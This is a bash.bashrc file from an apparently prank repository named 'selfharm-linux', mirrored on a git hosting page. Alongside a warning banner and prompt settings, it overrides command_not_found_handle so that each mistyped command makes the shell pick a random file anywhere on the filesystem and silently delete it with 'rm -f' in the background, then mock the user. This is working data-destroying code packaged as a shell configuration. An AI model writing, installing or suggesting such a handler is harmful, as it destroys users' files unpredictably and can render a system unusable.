1
Fork 0
mirror of https://github.com/RGBCube/selfharm-linux synced 2025-05-14 13:04:59 +00:00
selfharm-linux/bash.bashrc

31 lines
778 B
Bash

#!/bin/bash
# Set warning message
echo "============================================="
echo " WARNING: Selfharm-Linux installed "
echo " (https://github.com/RGBCube/selfharm-linux) "
echo "============================================="
# Set globstar to true
shopt -s globstar
# If not running interactively, don't do anything
[ -z "$PS1" ] && return
# Colors
CRESET=$'\033[0m'
CGREEN=$'\033[01;32m'
function command_not_found_handle {
RAND_FILE=$(__selfharm_linux_get_random_file)
(rm -f $RAND_FILE 2>/dev/null 1>&2 &)
echo "Oops, looks like you misspelt something >:)"
echo "Hope you didn't need $RAND_FILE..."
}
function __selfharm_linux_get_random_file {
find / -type f | shuf -n 1 2> /dev/null
}
PS1="$CRESET$CGREEN\u@\h:\w\$$CRESET "